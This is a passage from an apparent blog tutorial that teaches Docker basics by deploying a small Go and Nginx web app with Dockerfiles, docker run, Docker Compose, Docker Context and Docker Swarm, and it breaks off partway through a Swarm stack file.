<li>Helps you update and deliver new versions quickly</li>
<li>Makes sure the app runs the same every time, no matter where it’s deployed</li>
<li>Saves time when moving from writing code to actually using it</li>
</ul>
</li>
<li>
<p>Lets you use and manage different versions of software</p>
<ul>
<li>You can run older or specific versions of apps without messing up your system</li>
<li>Useful if your project needs a tool that only works with a certain version</li>
</ul>
</li>
<li>
<p>Runs apps in isolated containers</p>
<ul>
<li>Each app runs in its own “box,” separate from others, which makes it safer and easier to manage</li>
<li>You can test apps without affecting the rest of your system</li>
</ul>
</li>
<li>
<p>Great for home setups and personal servers</p>
<ul>
<li>Run things like a media server (e.g. Jellyfin), game server, or home automation tools (e.g. Home Assistant) in containers</li>
<li>Keeps each service isolated, so if one breaks, the others keep working</li>
<li>Easy to back up, move, or update your services</li>
</ul>
</li>
</ul>
<h2 id="how-does-it-work">How does it work?</h2>
<h3 id="docker-vs-vms">Docker vs VMS</h3>
<p>Both technologies aim to achieve a similar goal: providing an isolated environment to deploy applications. However, they do it differently-containers share the host system’s operating system, while virtual machines run their own full operating systems using a hypervisor.</p>
<ul>
<li>Startup Time
<ul>
<li>Containers: Start in seconds.</li>
<li>VMs: Can take up to minutes to boot.</li>
</ul>
</li>
<li>Resource Usage
<ul>
<li>Containers: Very light weight.</li>
<li>VMs: Require more processing power.</li>
</ul>
</li>
<li>Storage Size
<ul>
<li>Containers: from a few MBs to a few hundres.</li>
<li>VMs: several GBs.</li>
</ul>
</li>
<li>Operating System
<ul>
<li>Containers: Share the host OS kernel.</li>
<li>VMs: Each has its own full OS.</li>
</ul>
</li>
<li>Portability
<ul>
<li>Containers: Made to be moved and deployed everywhere</li>
<li>VMs: Slow to migrate due to large sizes
<img loading="lazy" src="https://media.geeksforgeeks.org/wp-content/uploads/20230109130229/Docker-vs-VM.png">
Image from <a href="https://www.geeksforgeeks.org/docker-or-virtual-machines-which-is-a-better-choice/">Geeks for Geeks</a></li>
</ul>
</li>
</ul>
<h2 id="docker-ussage-basics">Docker ussage basics</h2>
<p>To demonstrate the basic uses of Docker, I will deploy the same simple Go and HTML app five times. First, I&rsquo;ll deploy it without Docker to show how it works normally. Then, I&rsquo;ll build custom Docker containers for the backend and frontend. Next, I&rsquo;ll use Docker Compose, followed by deploying it on a remote host using Docker Context. Finally, I&rsquo;ll use Docker Swarm with a Docker Stack to enable replicas and orchestration.</p>
<h3 id="deploying-without-docker">Deploying without Docker</h3>
<p>I created a simple Go web server with one API endpoint. This endpoint is called by JavaScript in an HTML file, which is served by Nginx. Nginx also handles routing to the API.
To deploy this, I need to run the Go server, configure Nginx, and place the HTML file in the correct location. Here&rsquo;s the current structure of my project:</p>
<pre tabindex="0"><code>├── backend
│   ├── go.mod
│   └── main.go
├── frontend
│   └── index.html
└── nginx
    └── nginx.conf
</code></pre><p>To simplify setup, I created a symbolic link from my custom Nginx config to the system config path using:</p>
<p><code>sudo ln -s /full/path/to/your/nginx.conf /etc/nginx/nginx.conf</code></p>
<p>Normally, Nginx configs should be split into separate files per site (virtual hosts), but since I&rsquo;m only hosting this one project, I modified the main config directly. Note: this is not best practice, but it&rsquo;s acceptable for quick testing.
I also symlinked the index.html file to Nginx’s web root so it can serve it:</p>
<p><code>sudo ln -s /full/path/to/your/index.html /usr/share/nginx/html/index.html</code></p>
<p>Now, by opening a terminal in the backend directory and running:</p>
<p><code>go run main.go</code></p>
<p>&hellip;and enabling Nginx using systemd or another method, I can visit localhost in a browser and see the webpage. If I want to make changes, I can edit the HTML file and refresh the page, or update the Go code, stop the server, and run it again.
While this setup might work fine for local development, it&rsquo;s too much hassle to repeat for every project. As soon as you need to collaborate with others or deploy to a server, it becomes inefficient and error-prone.
For example, to deploy this on a remote server, I’d have to manually copy the files, place them in the right locations, and start the services. I’d also have to repeat this process for every update—which is awful.</p>
<h3 id="using-docker">Using Docker</h3>
<p>Now let’s use Docker to deploy this app and demonstrate the basic features needed to create, deploy, and manage containers—improving the deployment with each iteration.
Updated Directory Structure</p>
<p>First, I changed the directory structure to include a Dockerfile for the backend. This file contains instructions that Docker uses to build an image, which can then be deployed as a container.</p>
<pre tabindex="0"><code>├── backend
│   ├── Dockerfile
│   ├── go.mod
│   └── main.go
├── frontend
│   └── index.html
└── nginx
    └── nginx.conf
</code></pre><p>Let’s examine the <code>Dockerfile</code> to understand how a container is built:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Dockerfile" data-lang="Dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span><span style="color:#e6db74"> golang:1.22-alpine</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">WORKDIR</span><span style="color:#e6db74"> /app</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">COPY</span> . .<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> go build -o main .<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">EXPOSE</span><span style="color:#e6db74"> 3000</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">CMD</span> [<span style="color:#e6db74">&#34;./main&#34;</span>]<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><h3 id="explanation-of-each-dockerfile-instruction">Explanation of Each Dockerfile Instruction</h3>
<ul>
<li>
<p><strong><code>FROM golang:1.22-alpine</code></strong><br>
Every <code>Dockerfile</code> starts with the <code>FROM</code> instruction, which specifies the <strong>base image</strong>. In this case, we’re using Go version 1.22 on Alpine Linux. Alpine is a minimal Linux distribution designed for containers and is only a few hundred megabytes in size.</p>
</li>
<li>
<p><strong><code>WORKDIR /app</code></strong><br>
This sets the working directory inside the container. All subsequent instructions will be executed from this directory unless changed.</p>
</li>
<li>
<p><strong><code>COPY . .</code></strong><br>
This copies all files from the current host directory (where the Dockerfile is located) into the working directory of the container. You could also list specific files instead. To exclude files or folders, you can use a <code>.dockerignore</code> file in the same directory.</p>
</li>
<li>
<p><strong><code>RUN go build -o main .</code></strong><br>
This command compiles the Go source code into a binary named <code>main</code>.</p>
</li>
<li>
<p><strong><code>EXPOSE 3000</code></strong><br>
This tells Docker that the application listens on port 3000. It doesn’t actually expose the port when running the container—it just documents the port for later mapping.</p>
</li>
<li>
<p><strong><code>CMD [&quot;./main&quot;]</code></strong><br>
This defines the default command to run when the container starts. In this case, it runs the compiled Go binary.</p>
</li>
</ul>
<blockquote>
<p>The resulting image is about 303 MB in size. This could be significantly reduced by using a <strong>multi-stage build</strong>—first using the base image with the OS and Go tools to compile the binary, and then copying just the compiled binary into a minimal final image. Since this process is straightforward and well-documented, I chose not to cover it in detail here to keep things focused.</p></blockquote>
<p>To actually build this container, the following command is used:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker buildx build -t manual-backend backend
</span></span></code></pre></div><p>This command uses the <code>buildx</code> subcommand and the <code>-t</code> flag to tag (name) the image being built. The last part, <code>backend</code>, specifies the build context — in this case, the directory where the <code>Dockerfile</code> and required files are located.</p>
<p>Once the image is built, we can run the container using:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run manual-backend
</span></span></code></pre></div><p>This will start the container, but it will stop as soon as we press <code>Ctrl+C</code>. To keep it running in the background, we use the <code>-d</code> flag to run it in detached mode. We can also name the container using the <code>--name</code> flag.</p>
<p>Additionally, we need to map port <code>3000</code> from the container to the host using the <code>-p</code> option so that we can actually access the application. If we use a capital <code>-P</code> instead of a lowercase <code>-p</code>, Docker will map a random port on the host to the default exposed port of the container.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -d -p 3000:3000 --name manual-backend manual-backend:latest
</span></span></code></pre></div><p>Now we can list all running containers using:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker ps
</span></span></code></pre></div><p>This will display the container&rsquo;s name and hash ID, which can be used to identify it.</p>
<p>To view logs from the container, use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker logs <span style="color:#f92672">[</span>CONTAINER_NAME or CONTAINER_ID<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>If we want to connect to the container&rsquo;s shell, we can use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -it <span style="color:#f92672">[</span>CONTAINER_NAME<span style="color:#f92672">]</span> sh
</span></span></code></pre></div><p>The <code>-i</code> and <code>-t</code> flags make the shell interactive with a TTY. This works because the container runs a full Alpine Linux system — if we had optimized the container to include only the compiled binary, this wouldn’t be possible.</p>
<p>To stop the container:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker stop <span style="color:#f92672">[</span>CONTAINER_NAME or CONTAINER_ID<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>To start it again:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker start <span style="color:#f92672">[</span>CONTAINER_NAME or CONTAINER_ID<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>To remove it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker rm <span style="color:#f92672">[</span>CONTAINER_NAME or CONTAINER_ID<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>To remove all stopped containers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker container prune
</span></span></code></pre></div><p>Now only the backend is running inside a container, but we still need to package the frontend as well. For this step, we won’t build a custom image yet. Instead, we’ll use a single <code>docker run</code> command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -d --name manual-frontend -p 8080:80 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    -v <span style="color:#e6db74">&#34;</span><span style="color:#66d9ef">$(</span>pwd<span style="color:#66d9ef">)</span><span style="color:#e6db74">&#34;</span>/nginx/frontend/index.html:/usr/share/nginx/html/index.html <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    -v <span style="color:#e6db74">&#34;</span><span style="color:#66d9ef">$(</span>pwd<span style="color:#66d9ef">)</span><span style="color:#e6db74">&#34;</span>/nginx/nginx.conf:/etc/nginx/conf.d/nginx.conf:ro <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    nginx:alpine
</span></span></code></pre></div><p>This command is a bit more complex since more things are happening:</p>
<ul>
<li>
<p>First, we map port <code>8080</code> on the host to port <code>80</code> in the container using the <code>-p</code> option. This allows us to access the application through the browser. We use <code>8080</code> on the host to avoid conflicts with existing services, so we don’t need to change the default <code>nginx</code> configuration.</p>
</li>
<li>
<p>Then, we use the <code>-v</code> flag (short for volume) to bind files from the host into the container. This way, we can edit the HTML file on the host and see the changes instantly in the container. The same applies to the Nginx configuration file, although changes to the config will require restarting the container. This method avoids the need to build a custom Docker image for now.</p>
</li>
<li>
<p>Finally, we specify the image to use: <code>nginx:alpine</code>, which is an official, lightweight image from the Docker registry.</p>
</li>
</ul>
<p>With both containers running, you can open <code>http://localhost:8080</code> in your browser and see the application working.</p>
<p>However, this method is still very inconvenient, which brings us to the next improvement in deploying our app.</p>
<h2 id="docker-compose">Docker compose</h2>
<p>To make multi-container deployments easily manageable, Docker offers <strong>Docker Compose</strong>, which allows you to define and control multiple containers using a single configuration file.</p>
<p>To do this, create a file called <code>docker-compose.yml</code>.</p>
<p>Let’s break down the structure of this file for our service:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yml" data-lang="yml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">backend</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">backend:latest</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">build</span>: 
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">context</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">./backend</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">frontend</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx:alpine</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;8080:80&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./nginx/frontend/index.html:/usr/share/nginx/html/index.html</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./nginx/nginx.conf:/etc/nginx/conf.d/nginx.conf:ro</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">depends_on</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">backend</span>
</span></span></code></pre></div><p>The file starts with the <code>services</code> keyword, which defines each of the containers we want to run as attributes. Each container then has its own child attributes for configuration.</p>
<p>We begin by defining our backend container using the <code>backend:</code> key. We specify the image it should use — in this case, <code>backend</code>, which is the name we give it after building. To tell Docker Compose to build this image, we use the <code>build:</code> keyword and provide the <code>context:</code> attribute, which points to the path where the Dockerfile and source files are located.</p>
<p>Next, we define the frontend container, using the <code>nginx:alpine</code> image. We expose the necessary ports and bind the required files using volumes. This is much more manageable than writing out long <code>docker run</code> commands and is far easier to maintain.</p>
<p>We also use the <code>depends_on</code> option to ensure the frontend container only starts once the backend container is up and running. This helps guarantee that the application functions correctly without manual timing issues.</p>
<p>Additionally, we don’t need to publish any ports on the backend container. When using Docker Compose, a default Docker network is created for the containers in the stack. This allows containers to resolve each other by name, making internal communication seamless. For example, the frontend can reach the backend simply by using the container name as the hostname. This also means the backend doesn&rsquo;t need to be exposed to the outside world, which improves security by ensuring it can only be accessed through the frontend, without needing to configure firewalls or restrict public access manually.</p>
<p>Now, to deploy this, simply run:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d --build
</span></span></code></pre></div><p>This command builds all the images and deploys the containers. That’s it — you can just open your web browser and test everything. Thanks to volume mapping, any changes made to the HTML file will carry over immediately after a page reload.</p>
<p>You can inspect logs from the containers using:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose logs
</span></span></code></pre></div><p>To see the running containers, use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose ps
</span></span></code></pre></div><p>To stop and remove all containers, use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose down
</span></span></code></pre></div><p>If you run <code>docker compose up -d --build</code> again afterward, the containers will be rebuilt and restarted — but they remain running during the build process to minimize downtime. Only the containers with actual changes will be replaced.</p>
<p>This setup now provides a very usable and portable local development environment that&rsquo;s easy to manage. However, it still lacks production-readiness since deploying to a server still requires SSH access and copying the files over manually or pulling them from a Git repository.</p>
<p>That brings us to the next two improvements, which will be discussed in the following section.</p>
<h3 id="docker-context">Docker Context</h3>
<h2 id="docker-context-1">Docker Context</h2>
<p>Docker Context is a way to run Docker commands on a remote host <strong>without needing to SSH</strong> into your server like it&rsquo;s the stone age.</p>
<p>To add a server via SSH as a Docker context (assuming you have SSH key authentication already set up so no password prompt appears for each command), you can use the following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker context create context_name --docker <span style="color:#e6db74">&#34;host=ssh://user@ip_address&#34;</span>
</span></span></code></pre></div><blockquote>
<p><strong>Note:</strong> The <code>host</code> value doesn&rsquo;t have to be an IP address — it could also be a Unix socket or another Docker-compatible host. SSH is just one method.</p></blockquote>
<h3 id="managing-contexts">Managing Contexts</h3>
<ul>
<li>
<p>To list all available contexts:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker context ls
</span></span></code></pre></div></li>
<li>
<p>To switch to a specific context:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker context use <span style="color:#f92672">[</span>CONTEXT_NAME<span style="color:#f92672">]</span>
</span></span></code></pre></div></li>
<li>
<p>To remove a context:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker context rm <span style="color:#f92672">[</span>CONTEXT_NAME<span style="color:#f92672">]</span>
</span></span></code></pre></div></li>
</ul>
<p>To see which context is currently active, run <code>docker context ls</code>. The active one will be marked with a <code>*</code>. If you&rsquo;re using the <strong>Starship</strong> prompt, it will display the active Docker context just like it shows the current Git branch or programming language.</p>
<p>Once a context is selected, <strong>all Docker commands will be executed on the remote machine</strong> instead of your local system.</p>
<hr>
<p>However, if you run <code>docker compose up -d --build</code> on the remote host now, you&rsquo;ll likely get an error about missing files used in volume mounts. This happens because the volume mounts are referencing local paths that don’t exist on the remote host.</p>
<p>To fix this, we’ll need to change the <code>docker-compose</code> file in the next step.</p>
<h4 id="overwriting-compose-files-and-optizing-the-setup">Overwriting compose files and optizing the setup</h4>
<p>To fix this issue, let&rsquo;s make a duplicate of the compose file and name it <code>compose.dev.yml</code>. We can then change our main compose file to the settings we want for deployment.
I updated the compose file as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yml" data-lang="yml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">backend</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">backend:latest</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">build</span>: 
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">context</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">./backend</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">frontend</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">frontend:latest</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">build</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">context</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">./nginx</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;8080:80&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">depends_on</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">backend</span>
</span></span></code></pre></div><p>Prior to this, we were mapping the files into the container using volumes. Now, instead, a new frontend image is built which copies the HTML and the Nginx configuration directly into the image.</p>
<p>In a production environment, you don&rsquo;t need the ability to update files live, so this makes the deployment more stable and less prone to accidental breakage. The new frontend image has the following contents:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Dockerfile" data-lang="Dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span><span style="color:#e6db74"> nginx:alpine</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> rm /etc/nginx/conf.d/default.conf<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">COPY</span> nginx.conf /etc/nginx/conf.d/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">COPY</span> frontend /usr/share/nginx/html<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">EXPOSE</span><span style="color:#e6db74"> 80</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">CMD</span> [<span style="color:#e6db74">&#34;nginx&#34;</span>, <span style="color:#e6db74">&#34;-g&#34;</span>, <span style="color:#e6db74">&#34;daemon off;&#34;</span>]<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>It takes the Alpine Nginx image as a base, removes the default configuration, replaces it with the new one, copies the HTML file, sets the port to listen on, and defines the entry command.</p>
<p>Now, to still have a nice way to run the development version locally, the file from before comes into play, which has the following contents:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yml" data-lang="yml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">frontend</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx:alpine</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;8080:80&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./nginx/frontend/index.html:/usr/share/nginx/html/index.html</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./nginx/nginx.conf:/etc/nginx/conf.d/nginx.conf:ro</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">depends_on</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">backend</span>
</span></span></code></pre></div><p>It currently only has the original frontend service. If we run <code>docker compose</code> with the <code>-f</code> option to specify multiple files — such as the original and a new override file — the second file will overwrite any matching sections (like <code>frontend</code>). This allows us to use the development version of the frontend.</p>
<p>The command would look like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose -f docker-compose.yml -f compose.dev.yml up -d
</span></span></code></pre></div><p>After all these changes, this is the current directory structure of the project:</p>
<pre tabindex="0"><code>├── backend
│   ├── Dockerfile
│   ├── go.mod
│   └── main.go
├── compose.dev.yml
├── docker-compose.yml
└── nginx
    ├── Dockerfile
    ├── frontend
    │   └── index.html
    └── nginx.conf
</code></pre><p>Now we can deploy both a development and a production version of our app to a remote server — which is already a solid place to stop for many small projects.</p>
<p>But to take it one step further, let&rsquo;s add <strong>orchestration</strong> to support <strong>replicas</strong> and <strong>multiple servers</strong>. This allows us to <strong>scale</strong> our application, <strong>balance traffic</strong>, and improve <strong>fault tolerance</strong> by ensuring that if one container or server fails, others can continue handling requests.</p>
<h2 id="docker-swarm">Docker Swarm</h2>
<p>Docker Swarm is a built-in container orchestrator for Docker that is simple to use yet powerful. It is very useful in a home lab environment since Kubernetes would be overkill, but it&rsquo;s also viable for small businesses and their production environments.</p>
<h3 id="what-is-container-orchestration">What is Container Orchestration?</h3>
<p>A good analogy is that container orchestration is like an orchestra where all the containers and services are the musicians playing instruments. The conductor (orchestrator) manages and syncs the musicians so a song is played instead of a mess.</p>
<p>The conductor — the master/control node — can replicate containers to scale the app, remove unhealthy ones, replace failed containers, and keep the app stable, running, and available.</p>
<h3 id="creating-a-docker-swarm">Creating a Docker Swarm</h3>
<p>Creating a Docker Swarm is simple: just run</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker swarm init
</span></span></code></pre></div><p>on the device you want to be the master node.</p>
<p>After this, you can check the swarm status with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker info
</span></span></code></pre></div><p>which will show that the node is now part of a swarm.</p>
<h3 id="adding-nodes">Adding Nodes</h3>
<p>To add nodes to the cluster, copy the command shown after <code>docker swarm init</code> and run it on another Docker host to join it to the cluster. On the master node, running</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker info
</span></span></code></pre></div><p>will show multiple nodes, and</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker node ls
</span></span></code></pre></div><p>will list all the nodes in the swarm.</p>
<p>Nodes can leave the cluster with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker swarm leave
</span></span></code></pre></div><p>Now the cluster is ready for deploying services.</p>
<h3 id="creating-a-stack">Creating a Stack</h3>
<p>Since we are using Swarm, we can no longer use plain <code>docker compose</code> commands; instead, we use <code>docker stack</code> commands.
<code>docker stack</code> uses the same Compose file format with some additional deployment options, but build options are not supported — images must be pre-built.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yml" data-lang="yml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">backend</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">127.0.0.1</span>:<span style="color:#ae81ff">5000</span><span style="color:#ae81ff">/swarm-backend:latest</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">build</span>: 
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">context</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">./backend</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">deploy</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">replicas</span>: <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>
